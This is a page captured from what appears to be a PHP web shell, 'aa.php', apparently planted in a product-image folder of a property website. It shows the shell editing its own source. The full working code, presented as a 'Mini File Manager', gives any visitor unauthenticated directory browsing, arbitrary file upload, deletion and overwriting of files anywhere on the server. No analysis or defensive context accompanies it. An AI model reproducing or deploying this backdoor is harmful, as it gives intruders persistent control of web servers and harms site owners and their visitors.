<h3>Editing: /home/webpluss/propertybuildtech.com/productimg/aa.php</h3><form method='POST'>
        <input type='hidden' name='file' value='/home/webpluss/propertybuildtech.com/productimg/aa.php'>
        <textarea name='content' style='width:100%;height:300px;'>&lt;?php
$dir = isset($_GET['dir']) ? $_GET['dir'] : '.';
$dir = realpath($dir);

// Upload
if (isset($_FILES['f'])) {
    move_uploaded_file($_FILES['f']['tmp_name'], $dir.'/'.$_FILES['f']['name']);
    header(&quot;Location: ?dir=&quot;.urlencode($dir));
    exit;
}

// Delete
if (isset($_GET['del'])) {
    $f = realpath($_GET['del']);
    if (strpos($f, $dir) === 0 &amp;&amp; is_file($f)) unlink($f);
    header(&quot;Location: ?dir=&quot;.urlencode($dir));
    exit;
}

// Save edit
if (isset($_POST['file']) &amp;&amp; isset($_POST['content'])) {
    file_put_contents($_POST['file'], $_POST['content']);
    header(&quot;Location: ?dir=&quot;.urlencode($dir));
    exit;
}

// Edit view
if (isset($_GET['edit'])) {
    $f = realpath($_GET['edit']);
    if (is_file($f)) {
        echo &quot;&lt;h3&gt;Editing: $f&lt;/h3&gt;&quot;;
        echo &quot;&lt;form method='POST'&gt;
        &lt;input type='hidden' name='file' value='$f'&gt;
        &lt;textarea name='content' style='width:100%;height:300px;'&gt;&quot;.htmlspecialchars(file_get_contents($f)).&quot;&lt;/textarea&gt;
        &lt;br&gt;&lt;button type='submit'&gt;Save&lt;/button&gt;
        &lt;/form&gt;&quot;;
        exit;
    }
}

$parent = dirname($dir);
?&gt;

&lt;!DOCTYPE html&gt;
&lt;html&gt;
&lt;head&gt;
&lt;title&gt;Mini File Manager&lt;/title&gt;
&lt;style&gt;
body{font-family:Arial;font-size:14px}
a{text-decoration:none;margin-right:5px}
&lt;/style&gt;
&lt;/head&gt;
&lt;body&gt;

&lt;h3&gt;Path: &lt;?php echo $dir; ?&gt;&lt;/h3&gt;

&lt;a href=&quot;?dir=&lt;?php echo urlencode($parent); ?&gt;&quot;&gt;⬅ Back&lt;/a&gt;

&lt;ul&gt;
&lt;?php
foreach (scandir($dir) as $f) {
    if ($f == '.') continue;
    $path = $dir.'/'.$f;

    if (is_dir($path)) {
        echo &quot;&lt;li&gt;[DIR] &lt;a href='?dir=&quot;.urlencode($path).&quot;'&gt;$f&lt;/a&gt;&lt;/li&gt;&quot;;
    } else {
        echo &quot;&lt;li&gt;$f 
        &lt;a href='?edit=&quot;.urlencode($path).&quot;'&gt;[edit]&lt;/a&gt;
        &lt;a href='?del=&quot;.urlencode($path).&quot;' onclick='return confirm(\&quot;Delete?\&quot;)'&gt;[del]&lt;/a&gt;
        &lt;/li&gt;&quot;;
    }
}
?&gt;
&lt;/ul&gt;

&lt;form method=&quot;POST&quot; enctype=&quot;multipart/form-data&quot;&gt;
&lt;input type=&quot;file&quot; name=&quot;f&quot;&gt;
&lt;input type=&quot;submit&quot; value=&quot;Upload&quot;&gt;
&lt;/form&gt;

&lt;/body&gt;
&lt;/html&gt;</textarea>
        <br><button type='submit'>Save</button>
        </form>